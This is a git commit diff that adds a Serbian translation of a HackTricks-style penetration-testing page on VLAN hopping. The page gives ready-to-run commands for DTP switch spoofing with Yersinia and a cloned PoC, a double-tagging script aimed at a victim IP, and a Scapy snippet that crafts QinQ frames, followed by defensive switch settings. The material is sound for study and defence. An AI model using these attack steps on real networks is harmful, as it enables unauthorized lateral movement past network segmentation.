Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-07-18 18:09:54 +00:00
parent f72eeca061
commit 1d6ee70b2e

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
Ako je direktan pristup switch-u dostupan, VLAN segmentacija može biti zaobiđena. To uključuje reconfiguraciju povezanog porta u trunk mode, uspostavljanje virtuelnih interfejsa za ciljne VLAN-ove i postavljanje IP adresa, bilo dinamički (DHCP) ili statički, u zavisnosti od scenarija (**za više detalja proverite [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
Ako je direktan pristup switch-u dostupan, VLAN segmentacija može biti zaobiđena. Ovo uključuje reconfiguraciju povezanog porta u trunk mode, uspostavljanje virtuelnih interfejsa za ciljne VLAN-ove i postavljanje IP adresa, bilo dinamički (DHCP) ili statički, u zavisnosti od scenarija (**za više detalja pogledajte [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
Prvo je potrebno identifikovati specifičan povezani port. To se obično može postići putem CDP poruka, ili pretraživanjem porta putem **include** maske.
Prvo, potrebno je identifikovati specifičan povezani port. Ovo se obično može postići putem CDP poruka, ili pretraživanjem porta putem **include** maske.
**Ako CDP nije operativan, identifikacija porta može se pokušati pretraživanjem MAC adrese**:
```
SW1(config)# show mac address-table | include 0050.0000.0500
```
Pre nego što se pređe u trunk režim, treba sastaviti listu postojećih VLAN-ova i odrediti njihove identifikatore. Ovi identifikatori se zatim dodeljuju interfejsu, omogućavajući pristup raznim VLAN-ovima putem trunk-a. Port koji se koristi, na primer, povezan je sa VLAN 10.
Pre nego što se pređe na trunk mod, treba sastaviti listu postojećih VLAN-ova i odrediti njihove identifikatore. Ovi identifikatori se zatim dodeljuju interfejsu, omogućavajući pristup raznim VLAN-ovima putem trunk-a. Port koji se koristi, na primer, je povezan sa VLAN 10.
```
SW1# show vlan brief
```
@ -46,10 +46,78 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
```
Konekcija se testira pokretanjem ICMP zahteva ka podrazumevanim prolazima za VLAN-ove 10, 20, 50 i 60.
Na kraju, ovaj proces omogućava zaobilaženje VLAN segmentacije, čime se olakšava neograničen pristup bilo kojoj VLAN mreži i postavlja osnova za naredne akcije.
Na kraju, ovaj proces omogućava zaobilaženje VLAN segmentacije, čime se olakšava neometan pristup bilo kojoj VLAN mreži i postavlja osnova za naredne akcije.
## References
---
## Druge VLAN-Hopping Tehnike (bez privilegovanog switch CLI)
Prethodna metoda pretpostavlja autentifikovani pristup konzoli ili Telnet/SSH-u na switch-u. U stvarnim situacijama, napadač je obično povezan na **običan pristupni port**. Sledeći Layer-2 trikovi često vam omogućavaju lateralno prebacivanje bez ikada prijavljivanja u switch OS:
### 1. Switch-Spoofing sa Dinamičkim Trunking Protokolom (DTP)
Cisco switch-evi koji drže DTP uključenim rado će pregovarati trunk ako partner tvrdi da je switch. Kreiranje jednog **DTP “desirable”** ili **“trunk”** okvira pretvara pristupni port u 802.1Q trunk koji nosi *sve* dozvoljene VLAN-ove.
*Yersinia* i nekoliko PoC-ova automatizuju proces:
```bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
```
Kada port pređe u trunk, možete kreirati 802.1Q pod-interfejse i pivotirati tačno kao što je prikazano u prethodnom odeljku. Moderni Linux kernel više ne zahteva *vconfig*; umesto toga koristite *ip link*:
```bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
```
### 2. Double-Tagging (Native-VLAN Abuse)
Ako napadač sedi na **native (untagged) VLAN**, kreirani okvir sa *dva* 802.1Q zaglavlja može "skočiti" na drugi VLAN čak i kada je port zaključan u pristupnom režimu. Alati kao što je **VLANPWN DoubleTagging.py** (2022-2024 osveženje) automatizuju injekciju:
```bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
```
Packet walk-through:
1. Spoljašnji tag (1) se uklanja od strane prvog switch-a jer se poklapa sa native VLAN.
2. Unutrašnji tag (20) je sada izložen; okvir se prosleđuje na trunk ka VLAN 20.
Tehnika i dalje funkcioniše 2025. godine na mrežama koje ostavljaju native VLAN na podrazumevanoj vrednosti i prihvataju neoznačene okvire.
### 3. QinQ (802.1ad) Stacking
Mnogi koreni preduzeća podržavaju *Q-in-Q* uslugu pružatelja usluga. Gde je dozvoljeno, napadač može tunelovati proizvoljan 802.1Q označen saobraćaj unutar pružatelja (S-tag) da bi prešao sigurnosne zone. Zabeležite 802.1ad ethertype 0x88a8 i pokušajte da uklonite spoljašnji tag sa Scapy:
```python
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
```
---
## Preporuke za odbranu
1. Onemogućite DTP na svim portovima koji su dostupni korisnicima: `switchport mode access` + `switchport nonegotiate`.
2. Promenite nativni VLAN na svakom trunku u **neiskorišćeni, crni VLAN** i označite ga: `vlan dot1q tag native`.
3. Prune-ujte nepotrebne VLAN-ove na trunkovima: `switchport trunk allowed vlan 10,20`.
4. Primorajte sigurnost portova, DHCP snooping i dinamičku ARP inspekciju kako biste ograničili neovlašćene Layer-2 aktivnosti.
5. Preferirajte privatne VLAN-ove ili L3 segmentaciju umesto oslanjanja isključivo na 802.1Q razdvajanje.
---
## Reference
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- VLANPWN attack toolkit <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "Šta je VLAN Hopping?" (Avg 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
{{#include ../../banners/hacktricks-training.md}}